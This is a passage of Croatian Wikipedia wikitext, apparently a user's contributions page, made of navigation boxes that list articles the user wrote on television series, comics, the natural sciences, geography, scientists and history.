''([[:Kategorija:Zakon i red: Odjel za žrtve|kategorija]])'' • [[Law & Order: Criminal Intent]] ''([[:Kategorija:Zakon i red: Zločinačke nakane|kategorija]])'' • [[Law & Order]] ''([[:Kategorija:Zakon i red|kategorija]])'' • [[House, M.D.]] ''([[:Kategorija:Dr. House|kategorija]])'' • [[Toro i Pončo]] '' • [[Datoteka:LinkFA-star.png|14px]] [[It (miniserija)|''It'' (miniserija)]] |group2 = {{nowrap|{{flagicon|UK}} Ujedinjeno Kraljevstvo}} | group2style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #CC0000; |list2= ''[[Agatha Christie's Poirot]] • [[The Adventures of Sherlock Holmes (televizijska serija)|The Adventures of Sherlock Holmes]] • [['Allo 'Allo!]] • [[Blackadder]] • [[Whitechapel (serija)|Whitechapel]] ''([[:Kategorija:Whitechapel|kategorija]])'' '' |group3 = {{flagicon|HRV}} Hrvatska |group3style = text-align:center; color:white; background:red; border:1px solid blue; |list3= ''[[Nad lipom 35]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[Bitange i princeze]]'' ([[:Kategorija:Bitange i princeze|kategorija]] • [[Datoteka:LinkFA-star.png|14px]] "[[Epizoda 9 (Bitange i princeze, sezona 1)|Epizoda 9 (S1)]]") |group4 = {{flagicon|JAP}} Japan |group4style = text-align:center; color:red; background:white; border:1px solid red; |list4 = ''[[Digimon Adventure]] ''([[:Kategorija:Digimon Adventure|kategorija]] • [[Popis epizoda Digimon Adventurea|popis epizoda]])'' '' • [[Datoteka:LinkFA-star.png|14px]] ''[[Psycho-Pass]]'' ([[:Kategorija:Psycho-Pass|kategorija]] • [[:Kategorija:Epizode animea Psycho-Pass|Epizode - sezona 1]] [ [[Datoteka:LinkFA-star.png|14px]] "[[Perfect World]]" • [[Datoteka:LinkFA-star.png|14px]] "[[Saint's Supper]]" • [[Datoteka:LinkFA-star.png|14px]] "[[The Gates of Judgment]]" ] / [[:Kategorija:Epizode animea Psycho-Pass 2|2]] [ [[Datoteka:LinkFA-star.png|14px]] "[[The Scales of Justice 〈299/300〉]]" ]) |group5 = {{flagicon|RUS}} Rusija |group5style = text-align:center; color:#FFFFFF; background:red; border:1px solid #0039A6; |list5= [[Datoteka:LinkFA-star.png|14px]] ''[[Šerlok Holms (TV serija)|Šerlok Holms]]'' |group6= Likovi |list6 = {{Navbox subgroup | groupstyle = text-align:center; color:black; background:white; border:1px solid black; |group1 = ''SVU'' |list1 = [[Donald Cragen]] • [[Melinda Warner]] • [[Casey Novak]] • [[Dani Beck]] • [[Chester Lake]] • [[Elizabeth Donnelly]] • [[Brian Cassidy]] • [[Monique Jeffries]] • [[Kim Greylek]] • [[George Huang]] |group2 = ''L&O'' |list2 = [[Michael Cutter]] • [[Cyrus Lupo]] • [[Connie Rubirosa]] • [[Abbie Carmichael]] • [[Emil Skoda]] • [[Rey Curtis]] • [[Kevin Bernard]] • [[Jack McCoy]] |group3 = ''CI'' |list3 = [[Nola Falacci]] • [[Danny Ross]] • [[Zach Nichols]] |group4 = ''House'' |list4 = [[Gregory House]] • [[James Wilson]] • [[Robert Chase]] • [[Chris Taub]] • [[Lucas Douglas]] • [[Henry Dobson]] • [[John i Blythe House]] • [[Darryl Nolan]] |group5 = ''Whitechapel'' |list5 = [[Emerson Kent]] • [[Finlay Mansell]] • [[Megan Riley]] |group6 = ''[[Digimon]]''<br><small>([[Popis Digimona]])</small> |list6 = [[Taichi Jagami]] • [[Gospodari tame]] ([[Machinedramon]] • [[Piedmon]] • [[Puppetmon]] • [[MetalSeadramon]]) • [[Izzy Izumi]] • [[Devimon]] • [[Whamon]] • [[Phantomon]] • [[Apocalymon]] • [[Andromon]] • [[Datamon]] • [[Bakemon]] • [[Etemon]] • [[Monzaemon]] • [[Digitamamon]] • [[Meramon]] • [[MetalEtemon]] • [[Seadramon]] • [[Myotismon]] • [[VenomMyotismon]] • [[Centarumon]] • [[Piximon]] • [[Ogremon]] • [[Wizardmon]] • [[Shellmon]] • [[Elecmon]] • [[Frigimon]] • [[Datoteka:LinkFA-star.png|14px]] [[Leomon]] • [[SaberLeomon]] • [[DemiDevimon]] • [[LadyDevimon]] }} }} ==Strip i mange== {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | title = Doprinosi s područja stripa | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | image = | imageleft = | bodyclass = hlist | list1 = [[Stripovska smrt]] |list2= }} ===Batman=== {{Navbox generic |titlestyle = text-align:center; color:yellow; background:black; border:1px solid yellow; |name = Korisnik:Edgar Allan Poe/Doprinosi |title=Batman |groupstyle = text-align:center; color:yellow; background:black; border:1px solid yellow; |abovestyle= text-align:center; color:yellow; background:black; border:1px solid yellow; |belowstyle= text-align:center; color:yellow; background:black; border:1px solid yellow; |groupstyle = text-align:center; color:yellow; background:black; border:1px solid yellow; |above= |group1 = Likovi |group1style = text-align:center; color:yellow; background:black; border:1px solid yellow; |list1= [[Datoteka:LinkFA-star.png|14px]] [[Batman]] • [[Datoteka:LinkFA-star.png|14px]] [[Joker (strip)|Joker]] • [[Datoteka:LinkFA-star.png|14px]] [[Penguin]] • [[Datoteka:LinkFA-star.png|14px]] [[Riddler]] • [[Datoteka:LinkFA-star.png|14px]] [[Mr. Freeze]] • [[Robin]] • [[Datoteka:LinkFA-star.png|14px]] [[Catwoman]] • [[Datoteka:LinkFA-star.png|14px]] [[Two-Face]] • [[Datoteka:LinkFA-star.png|14px]] [[Mad Hatter (DC comics)|Mad Hatter]] • [[Datoteka:LinkFA-star.png|14px]] [[Calendar Man]] • [[Datoteka:LinkFA-star.png|14px]] [[Scarecrow]] • [[Datoteka:LinkFA-star.png|14px]] [[Professor Pyg]] • [[Dollotroni]] • [[Son of Pyg]] • [[Hugo Strange]] |group2 = Autori | group2style = text-align:center; color:yellow; background:black; border:1px solid yellow; |list2= [[Bob Kane]] • [[Bill Finger]] • [[Jerry Robinson]] <!-- |group3 = {{flagicon|HRV}} Hrvatska |group3style = text-align:center; color:white; background:red; border:1px solid blue; |list3= ''[[Nad lipom 35]]'' |group4 = {{flagicon|JAP}} Japan |group4style = text-align:center; color:red; background:white; border:1px solid red; |list4 = ''[[Digimon Adventure]] ''([[:Kategorija:Digimon Adventure|kategorija]] • [[Popis epizoda Digimon Adventurea|popis epizoda]])'' '' |group5= Likovi |list5 = {{Navbox subgroup | groupstyle = text-align:center; color:black; background:white; border:1px solid black; |group1 = ''SVU'' |list1 = [[Donald Cragen]] • [[Melinda Warner]] • [[Casey Novak]] • [[Dani Beck]] • [[Chester Lake]] • [[Elizabeth Donnelly]] • [[Brian Cassidy]] • [[Monique Jeffries]] • [[Kim Greylek]] • [[George Huang]] |group2 = ''L&O'' |list2 = [[Michael Cutter]] • [[Cyrus Lupo]] • [[Connie Rubirosa]] • [[Abbie Carmichael]] • [[Emil Skoda]] • [[Rey Curtis]] • [[Kevin Bernard]] • [[Jack McCoy]] |group3 = ''CI'' |list3 = [[Nola Falacci]] • [[Danny Ross]] • [[Zach Nichols]] |group4 = ''House'' |list4 = [[Gregory House]] • [[James Wilson]] • [[Robert Chase]] • [[Chris Taub]] • [[Lucas Douglas]] • [[Henry Dobson]] • [[John i Blythe House]] • [[Darryl Nolan]] |group5 = ''Whitechapel'' |list5 = [[Emerson Kent]] • [[Finlay Mansell]] • [[Megan Riley]] |group6 = ''[[Digimon]]''<br><small>([[Popis Digimona]])</small> |list6 = [[Taiči Jagami]] • [[Gospodari tame]] ([[Machinedramon]] • [[Piedmon]] • [[Puppetmon]] • [[MetalSeadramon]]) • [[Izzy Izumi]] • [[Devimon]] • [[Whamon]] • [[Phantomon]] • [[Apocalymon]] • [[Andromon]] • [[Datamon]] • [[Bakemon]] • [[Etemon]] • [[Monzaemon]] • [[Digitamamon]] • [[Meramon]] • [[MetalEtemon]] • [[Seadramon]] • [[Myotismon]] • [[VenomMyotismon]] • [[Centarumon]] • [[Piximon]] • [[Ogremon]] • [[Wizardmon]] • [[Shellmon]] • [[Elecmon]] • [[Frigimon]] • [[Datoteka:LinkFA-star.png|14px]] [[Leomon]] • [[SaberLeomon]] • [[DemiDevimon]] • [[LadyDevimon]] }}--> }} ===Bleach=== {{Navbox |titlestyle = |name = Korisnik:Edgar Allan Poe/Doprinosi |title=Bleach |groupstyle = |abovestyle= |belowstyle= |groupstyle = |above= |group1 = |group1style = |list1= [[Datoteka:LinkFA-star.png|14px]] ''[[Bleach (manga)|Bleach]]'' ([[Lista poglavlja i tankōbon izdanja mange Bleach|poglavlja]]) • [[Bleach (anime)|Anime]] • [[Tite Kubo]] <!-- |group2 = Autori | group2style = text-align:center; color:yellow; background:black; border:1px solid yellow; |list2= [[Bob Kane]] • [[Bill Finger]] • [[Jerry Robinson]] |group3 = {{flagicon|HRV}} Hrvatska |group3style = text-align:center; color:white; background:red; border:1px solid blue; |list3= ''[[Nad lipom 35]]'' |group4 = {{flagicon|JAP}} Japan |group4style = text-align:center; color:red; background:white; border:1px solid red; |list4 = ''[[Digimon Adventure]] ''([[:Kategorija:Digimon Adventure|kategorija]] • [[Popis epizoda Digimon Adventurea|popis epizoda]])'' '' |group5= Likovi |list5 = {{Navbox subgroup | groupstyle = text-align:center; color:black; background:white; border:1px solid black; |group1 = ''SVU'' |list1 = [[Donald Cragen]] • [[Melinda Warner]] • [[Casey Novak]] • [[Dani Beck]] • [[Chester Lake]] • [[Elizabeth Donnelly]] • [[Brian Cassidy]] • [[Monique Jeffries]] • [[Kim Greylek]] • [[George Huang]] |group2 = ''L&O'' |list2 = [[Michael Cutter]] • [[Cyrus Lupo]] • [[Connie Rubirosa]] • [[Abbie Carmichael]] • [[Emil Skoda]] • [[Rey Curtis]] • [[Kevin Bernard]] • [[Jack McCoy]] |group3 = ''CI'' |list3 = [[Nola Falacci]] • [[Danny Ross]] • [[Zach Nichols]] |group4 = ''House'' |list4 = [[Gregory House]] • [[James Wilson]] • [[Robert Chase]] • [[Chris Taub]] • [[Lucas Douglas]] • [[Henry Dobson]] • [[John i Blythe House]] • [[Darryl Nolan]] |group5 = ''Whitechapel'' |list5 = [[Emerson Kent]] • [[Finlay Mansell]] • [[Megan Riley]] |group6 = ''[[Digimon]]''<br><small>([[Popis Digimona]])</small> |list6 = [[Taiči Jagami]] • [[Gospodari tame]] ([[Machinedramon]] • [[Piedmon]] • [[Puppetmon]] • [[MetalSeadramon]]) • [[Izzy Izumi]] • [[Devimon]] • [[Whamon]] • [[Phantomon]] • [[Apocalymon]] • [[Andromon]] • [[Datamon]] • [[Bakemon]] • [[Etemon]] • [[Monzaemon]] • [[Digitamamon]] • [[Meramon]] • [[MetalEtemon]] • [[Seadramon]] • [[Myotismon]] • [[VenomMyotismon]] • [[Centarumon]] • [[Piximon]] • [[Ogremon]] • [[Wizardmon]] • [[Shellmon]] • [[Elecmon]] • [[Frigimon]] • [[Datoteka:LinkFA-star.png|14px]] [[Leomon]] • [[SaberLeomon]] • [[DemiDevimon]] • [[LadyDevimon]] }}--> }} ==Prirodne znanosti== ===Općenito=== {{Navbox generic |titlestyle = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz znanost |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Fizika |group1style = text-align:center; color:#6699CC; background:#73C2FB; border:1px solid #6699CC; |list1= [[Čvor (mjerna jedinica)]] • [[Veber]] • [[Kirchhoffovi zakoni spektroskopije]] • [[Kirchhoffovi zakoni]] • [[Paulijeva jednadžba]] • [[RIKEN]] • [[Laplaceov demon]] |group2 = Kemija |group2style = text-align:center; color:#800080; background:#C9A0DC; border:1px solid #800080; |list2= [[Eksploziv]] • [[Mendeljejevovi predviđeni elementi]] • [[Primordijski elementi]] • [[Arsenatna kiselina]] • [[Orsinijeva bomba]] |group3 = Biologija<br>Medicina |group3style = text-align:center; color:#01796F; background: #50C878; border:1px solid #01796F; |list3= {{Navbox subgroup | groupstyle = text-align:center; color:#01796F; background: #50C878; border:1px solid #01796F; |group1=Biologija |list1= [[Gušter]] • ''[[Bufo periglenes]]'' • ''[[Doryanthes excelsa]]'' • ''[[Varanus giganteus]]'' • ''[[Phyllopteryx]]'' • ''[[Callocephalon fimbriatum]]'' • ''[[Lycalopex vetulus]]'' • ''[[Bothrops insularis]]'' • ''[[Bletilla striata]]'' • [[Divovska sabljasta antilopa]] • ''[[Laniarius brauni]]'' • [[Pelorus Jack]] • [[Snareski pingvin]] • ''[[Agathis australis]]'' • ''[[Leiopelmatidae]]'' • [[Haastov orao]] • [[Srebrna paprat]] • [[Novozelandski dugorepi šišmiš]] • [[Sisavac iz Saint Bathansa]] • ''[[Icterus icterus]]'' • ''[[Cattleya mossiae]]'' • [[Kuprej]] • ''[[Sphaerocoryne affinis]]'' • [[Ruatanski aguti]] • ''[[Brachylophus]]'' • [[Plava otrovna žaba]] • [[Papilionanthe Miss Joaquim|''Papilionanthe'' Miss Joaquim]] |group2=Medicina |list2= [[Guillain-Barréov sindrom]] }} |group4 = Tehnologija |group4style = text-align:center; color:#B8860B; background:#DAA520; border:1px solid #B8860B; |list4= [[Metalurgija]] • [[Vatreno oružje]] {{Navbox subgroup | groupstyle = text-align:center; color:#B8860B; background:#DAA520; border:1px solid #B8860B; |group1=Računalna tehnologija |list1= [[Datoteka:LinkFA-star.png|14px]] [[Apple Inc.]] ([[Korisnik:Rjecina2|suradnja]]) • ''[[Crash Twinsanity]] • [[Sly 3: Honor Among Thieves]] • [[The Da Vinci Code (igra)|The Da Vinci Code]]'' • [[HOLMES2]] • [[Japanese Movie Database]] • [[Red Star OS]] }} |group5 = Geografija |group5style = text-align:center; color:#964B00; background:#E1A95F; border:1px solid #964B00; |list5= {{Navbox subgroup | groupstyle = text-align:center; color:#964B00; background:#E1A95F; border:1px solid #964B00; |group1=Država |list1= [[Datoteka:LinkFA-star.png|14px]] {{flag|Benin}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Estonija}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Fidži}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Francuska}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Honduras}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Kambodža}} • {{flag|Škotska}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Venezuela}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Surinam}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Sjeverna Koreja}} |group2=Naselja |list2= {{nowrap begin}} {{flagicon|ANG}} [[Benguela]]{{•w}} {{flagicon|ANG}} [[Cabinda (grad)|Cabinda]]{{•w}} {{flagicon|ANG}} [[Cambambe]]{{•w}} {{flagicon|ANG}} [[Cuito]]{{•w}} {{flagicon|ANG}} [[Huambo]]{{•w}} {{flagicon|ANG}} [[Lobito]]{{•w}} {{flagicon|ANG}} [[Lubango]]{{•w}} {{flagicon|ANG}} [[Lucapa]]{{•w}} {{flagicon|ANG}} [[Malanje]]{{•w}} {{flagicon|ANG}} [[Namibe]]{{•w}} {{flagicon|AUT}} [[Klosterneuburg]]{{•w}} {{flagicon|BEL}} [[Waterloo (Belgija)|Waterloo]]{{•w}} {{flagicon|BEN}} [[Parakou]]{{•w}} {{flagicon|BEN}} [[Djougou]]{{•w}} {{flagicon|BEN}} [[Bohicon]]{{•w}} {{flagicon|BEN}} [[Allada]]{{•w}} {{flagicon|BEN}} [[Kandi, Benin|Kandi]]{{•w}} {{flagicon|BEN}} [[Ouidah]]{{•w}} {{flagicon|BEN}} [[Abomey-Calavi]]{{•w}} {{flagicon|BEN}} [[Ganvié]]{{•w}} {{flagicon|ČEŠ}} [[Vratislavice]]{{•w}} {{flagicon|FIJ}} [[Labasa]]{{•w}} {{flagicon|FIJ}} [[Nadi]]{{•w}} {{flagicon|FIJ}} [[Nausori]]{{•w}} {{flagicon|FIJ}} [[Sigatoka]]{{•w}} {{flagicon|FRA}} [[Besançon]]{{•w}} {{flagicon|FRA}} [[Colombey-les-Deux-Églises]]{{•w}} {{flagicon|FRA}} [[Jœuf]]{{•w}} {{flagicon|FRA}} [[Mérignac]]{{•w}} {{flagicon|FRA}} [[Vichy]]{{•w}} {{flagicon|GAN}} [[Ho, Gana|Ho]]{{•w}} {{flagicon|GAN}} [[Kumasi]]{{•w}} {{flagicon|GAN}} [[Sekondi-Takoradi]]{{•w}} {{flagicon|GAN}} [[Tema, Gana|Tema]]{{•w}} {{flagicon|HON}} [[Trujillo, Honduras|Trujillo]]{{•w}} {{flagicon|ITA}} [[Caprese Michelangelo]]{{•w}} {{flagicon|JAP}} [[Nabari]]{{•w}} {{flagicon|JAP}} [[Satoshō]]{{•w}} {{flagicon|Kambodža}} [[Kampong Cham]]{{•w}} {{flagicon|Kambodža}} [[Sihanoukville]]{{•w}} {{flagicon|Kambodža}} [[Battambang]]{{•w}} {{flagicon|Kambodža}} [[Siem Reap]]{{•w}} {{flagicon|Kambodža}} [[Poipet]]{{•w}} {{flagicon|CRC}} [[San José, Kostarika|San José]]{{•w}} {{flagicon|CRC}} [[Ujarrás]]{{•w}} {{flagicon|KUB}} [[Baracoa]]{{•w}} {{flagicon|KUB}} [[Bayamo]]{{•w}} {{flagicon|KUB}} [[Cienfuegos]]{{•w}} {{flagicon|KUB}} [[Guantánamo]]{{•w}} {{flagicon|KUB}} [[Las Tunas (grad)|Las Tunas]]{{•w}} {{flagicon|KUB}} [[Manzanillo, Kuba|Manzanillo]]{{•w}} {{flagicon|KUB}} [[Pinar del Río]]{{•w}} {{flagicon|KUB}} [[Puerto Padre]] {{•w}} {{flagicon|KUB}} [[Santa Clara, Kuba|Santa Clara]]{{•w}} {{flagicon|NIZ}} [[Voorhout]]{{•w}} {{flagicon|NZL}} [[Dunedin]]{{•w}} {{flagicon|NZL}} [[Nelson, Novi Zeland|Nelson]]{{•w}} {{flagicon|NZL}} [[Waitangi, Northland|Waitangi]]{{•w}} {{flagicon|RUS}} [[Oranienbaum]]{{•w}} {{flagicon|SIN}} [[Bedok]]{{•w}} {{flagicon|SJKOR}} [[Ch'ŏngjin]]{{•w}} {{flagicon|SJKOR}} [[Hamhŭng]]{{•w}} {{flagicon|SJKOR}} [[Namp'o]]{{•w}} {{flagicon|SJKOR}} [[P'anmunjŏm]]{{•w}} {{flagicon|SJKOR}} [[Rasŏn]]{{•w}} {{flagicon|SJKOR}} [[Sinŭiju]]{{•w}} {{flagicon|SJKOR}} [[Wŏnsan]]{{•w}} {{flagicon|SUR}} [[Moiwana]] {{nowrap end}} |group3=Ostalo |list3= {{Navbox subgroup | groupstyle = text-align:center; color:#964B00; background:#E1A95F; border:1px solid #964B00; |group1 = Administracija |list1 = [[Uljanovska oblast]] • [[Provincije Kostarike]] • [[Regioni Francuske]] • [[:Kategorija:Provincije Sjeverne Koreje|Provincije Sjeverne Koreje]] • [[Cabinda (provincija)]] • [[Rossov zavisni teritorij]] • [[Kraljevstvo Novi Zeland]] • [[Regije Novog Zelanda]] ([[Tasman (distrikt)|Tasman]] • [[Otago (regija)|Otago]] • [[Marlborough (regija)|Marlborough]] • [[Southland (regija)|Southland]] • [[Canterbury (regija, Novi Zeland)|Canterbury]] • [[West Coast (regija)|West Coast]]) • [[Scottova baza]] • [[Savezni teritoriji Venezuele]] • [[Obala komaraca]] • [[Departmani Benina]] |group2 = Otoci<br>Poluotoci |list2 = [[Iwo Jima]] • [[Ilha da Queimada Grande]] • [[Isla de la Juventud]] • [[Kermadecovi otoci]] • [[Los Roques (arhipelag)]] • [[Margaritin otok]] • [[Koh Kong (otok)|Koh Kong]] • [[Baia dos Tigres]] • [[Tigrov otok]] • [[Labuđi otoci]] • [[Viti Levu]] • [[Vanua Levu]] • [[Ceva-I-Ra]] • [[Koro (otok)|Koro]] • [[Kadavu]] • [[Taveuni]] • [[Rotuma]] • [[Uea]] • [[Bau (otok)|Bau]] • [[Naissaar]] • [[Pulau Ujong]] • [[Pedra Branca (Singapur)]] |group3 = Hidrologija |list3 = [[Arenal]] • [[Crvena Volta (rijeka)|Crvena Volta]] • [[Jezero Bosumtwi|Bosumtwi]] • [[Cascade de Gavarnie]] • [[Parnaíba (rijeka)|Parnaíba]] • [[Taedong]] • [[Korejski zaljev]] • [[Istočnokorejski zaljev]] • [[Tumen (rijeka)|Tumen]] • [[Rajsko jezero]] • [[Laguna de Leche]] • [[Zaljev Guantánamo]] • [[Cookov prolaz]] • [[Slapovi Calandula]] • [[Waikato (rijeka)|Waikato]] • [[Rotorua (jezero)|Rotorua]] • [[Tonlé Sap]] • [[Kwanza]] • [[Cunene]] • [[Lucala]] • [[Sangkae]] • [[Río Coco]] • [[Honduraški zaljev]] • [[Aguán]] • [[Ouémé (rijeka)|Ouémé]] • [[Oti (rijeka)|Oti]] • [[Beninski zaljev]] • [[Couffo (rijeka)|Couffo]] • [[Zou (rijeka)|Zou]] • [[Rewa (rijeka)|Rewa]] • [[Sigatoka (rijeka)|Sigatoka]] • [[Bligh Water]] • [[Valaste (vodopad)]] |group4 = Geologija |list4 = [[Mount Afadjato]] • [[Irazú]] • [[Pico da Neblina]] • [[Sierra Maestra]] • [[Serra da Chela]] • [[Mount Earnslaw]] • [[Južne Alpe]] • [[Pico Bolívar]] • [[Pico Humboldt]] • [[Pico Bonpland]] • [[Roraima (tepui)|Roraima]] • [[Kukenán (tepui)|Kukenán]] • [[Phnom Aural]] • [[Kardamonske planine]] • [[Slonovske planine]] • [[Phnom Kulen]] • [[Morro do Moco]] • [[Cerro Las Minas]] • [[Atakora (planinski lanac)|Atakora]] • [[Mont Sokbaro]] • [[Mont Agou]] • [[Mount Tomanivi]] • [[Van Asch Van Wijck (planinski lanac)]] |group5 = Ostalo |list5 = [[Park Ueno]] • ''[[Outback]]'' • [[Skijalište Masikryong]] • [[Pjongjanško vrijeme]] • [[Močvara Zapata]] • [[Park Johna Lennona]] • ''[[Lluvia de peces]]'' • [[Koraljna obala (Fidži)]] • [[Vanalinn]] • [[Singapurska luka]] }} }} |below= }} ===Znanstvenici=== {{Navbox generic |titlestyle = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz znanstvenike |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Fizičari |group1style = text-align:center; color:#6699CC; background:#73C2FB; border:1px solid #6699CC; |list1= [[Antoine Henri Becquerel]] • [[Heinrich Rudolf Hertz]] • [[Carl Hellmuth Hertz]] • [[Gustav Ludwig Hertz]] • [[Michael Faraday]] • [[Wilhelm Conrad Röntgen]] • [[Gerardus 't Hooft]] • [[Max Born]] • [[Edward Teller]] • [[Charles-Augustin de Coulomb]] • [[Joseph Henry]] • [[Wilhelm Eduard Weber]] • [[Lise Meitner]] • [[Gustav Robert Kirchhoff]] • [[Igor Kurčatov]] • [[Evangelista Torricelli]] • [[Erwin Schrödinger]] • [[Albert Einstein]] • [[Louis de Broglie]] • [[Wolfgang Pauli]] • [[Jean Baptiste Perrin]] • [[Arthur Holly Compton]] • [[Owen Willans Richardson]] • [[Čandrasekara Venkata Raman]] • [[Charles Thomson Rees Wilson]] • [[Carl David Anderson]] • [[George Paget Thomson]] • [[Victor Franz Hess]] • [[Isidor Isaac Rabi]] • [[Clinton Joseph Davisson]] • [[Aleksandar Prohorov]] • [[Henri Poincaré]] • [[Hideki Yukawa]] • [[Shin'ichirō Tomonaga]] • [[Joshio Nishina]] • [[William Lawrence Bragg]] • [[Brian Schmidt]] • [[William Henry Bragg]] • [[Mark Oliphant]] • [[Jean d'Alembert]] • [[Abdus Salam]] |group2 = Kemičari |group2style = text-align:center; color:#800080; background:#C9A0DC; border:1px solid #800080; |list2= [[Dmitrij Mendeljejev]] • [[Pierre Curie]] • [[Henry Cavendish]] • [[William Ramsay]] • [[Francis William Aston]] • [[Adolf von Baeyer]] • [[Eduard Buchner]] • [[Jacobus Henricus van 't Hoff]] • [[Henri Moissan]] • [[John Warcup Cornforth]] • [[Alan MacDiarmid]] • [[Glenn T. Seaborg]] |group3 = Liječnici |group3style = text-align:center; color:#01796F; background: #50C878; border:1px solid #01796F; |list3= [[Alexander Fleming]] • [[Hakaru Hashimoto]] • [[Tomisaku Kawasaki]] • [[Mikito Takajasu]] • [[Hidejo Noguchi]] • [[Kitasato Shibasaburō]] • [[Howard Florey]] • [[Robin Warren]] • [[Barry J. Marshall]] • [[Elizabeth Blackburn]] • [[Peter C. Doherty]] • [[Frank Macfarlane Burnet]] • [[John Carew Eccles]] • [[Dominique-Jean Larrey]] • [[Carlos Chagas]] • [[Sergej Korsakov]] • [[Arístides Agramonte]] • [[Carlos Finlay]] • [[John Marshall Macdonald]] • [[Baruj Benacerraf]] • [[Jacinto Convit]] • [[Salvador Moncada]] • [[Friedrich Robert Faehlmann]] • [[Jean Itard]] • [[Georges Mathé]] |group4 = Izumitelji |group4style = text-align:center; color:#B8860B; background:#DAA520; border:1px solid #B8860B; |list4= [[Ferdinand Porsche]] • [[André Citroën]] • [[Gottlieb Daimler]] • [[Eli Whitney]] • [[Humberto Fernández-Morán]] |group5 = Geografi |group5style = text-align:center; color:#964B00; background:#E1A95F; border:1px solid #964B00; |list5= [[Vladimir Tagancev]] |below= }} ==Društvene znanosti== ===Općenito=== {{Navbox generic |titlestyle = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz društvene znanosti |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Povijest |group1style = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |list1= [[Povijest Europe]] (nedovršeno) {{Navbox subgroup | groupstyle = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |group1 = pre-XX vijek. |list1 = [[Banket kestenja]] • [[Osmanski interegnum]] • [[Šogunat Tokugawa]] • [[Kultura Diquis]] • [[Zlatna Obala (danska kolonija)]] • [[Zlatna Obala (portugalska kolonija)]] • [[Zlatna Obala (švedska kolonija)]] • [[Zlatna Obala (nizozemska kolonija)]] • [[Bushrangeri]] • [[Plesna epidemija iz 1518.]] • [[Edikt iz Nantesa]] • [[Edikt iz Fontainebleaua]] • [[Kolonijalni Brazil]] • [[Generalna kapetanija Kuba]] • [[Guvernorat Kuba]] • [[Loango-Angola]] • [[Provincija Venezuela]] • ''[[Klein-Venedig]]'' • [[Funan]] • [[Mračno doba (Kambodža)]] • [[Longvek]] • [[Generalna kapetanija Gvatemala]] • [[Podzemni grad Agongointo-Zoungoudo]] • [[Obala robova]] • [[Kraljevstvo Dahomej]] • [[Carstvo Oyo]] • [[Kralj Dahomeja]] • [[Dahomejski godišnji običaji]] • [[Društvo za Surinam]] • [[Invazija Surinama (1667)|Invazija Surinama]] • [[Napad na Fort Zeelandiju (1667)|Napad na Fort Zeelandiju]] • [[Kraljevina Singapura]] • ''[[Malajski anali]]'' • [[Temasek]] • [[Grčko herojsko doba]] {{Navbox subgroup | groupstyle = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |group1 = XVIII. vijek |list1 = [[Savjet drevnih]] • [[Prva Francuska Republika]] • [[Konzulat (Francuska)]] • [[Direktorij (Francuska)]] • [[Komitet javnog spasa]] • [[Jakobinska diktatura]] • [[Termidorska reakcija]] • [[Puč 18. brumairea]] • [[Žirondinci]] • [[Septembarski masakri]] • [[Bijeg u Varennes]] • [[Žirondinski ustavni projekt]] • [[Kraljevstvo Francuska (1791-1792)]] • [[Prva industrijska revolucija]] • [[Vicekraljevstvo Nova Granada]] • [[Generalna kapetanija Venezuela]] • ''[[Kambodžanske kraljevske kronike]]'' |group2 = XIX. vijek |list2 = [[Posvećenje Napoleona I]] • [[Kraljevina Holandija]] • [[Kraljevina Vestfalija]] • [[Burbonska restauracija]] • [[Druga industrijska revolucija]] • [[Monroeova doktrina]] • [[Zlatna Obala (britanska kolonija)]] • [[Pobuna u Eureki]] • [[Julska Monarhija]] • [[Francuska revolucija 1848.]] • [[Druga Francuska Republika]] • [[Dani lipnja]] • [[Predsjednički izbori u Francuskoj 1848.]] • [[Francuski ustavni referendum 1851.]] • [[Referendum o Drugom Francuskom Carstvu 1852.]] • [[Pariški sporazum (1856)]] • [[Pariški kongres (1856)]] • [[Orsinijev atentat]] • [[Bitka kod Sedana (1870)]] • [[Treća Francuska Republika]] • [[Suđenje tridesetorici]] • [[Kriza 16. svibnja 1877.]] • [[Panamski skandali]] • [[Tonkinska afera]] • [[Protektorat Annam]] • [[Kočinkina]] • [[Zastupnički dom (Francuska)]] • [[Predstavnički dom (Francuska)]] • [[Incident u Fashodi]] • [[Predsjednički izbori u Brazilu 1891.]] • [[Ujedinjeno Kraljevstvo Portugala, Brazila i Algarva]] • [[Kraljevina Brazil]] • [[Nezavisnost Brazila]] • [[Brazilsko Carstvo]] • [[Brazilski rat za nezavisnost]] • [[Prva Brazilska Republika]] • [[Desetogodišnji rat]] • [[Mali rat (Kuba)]] • [[Kubanski rat za nezavisnost]] • [[Američka vojna uprava na 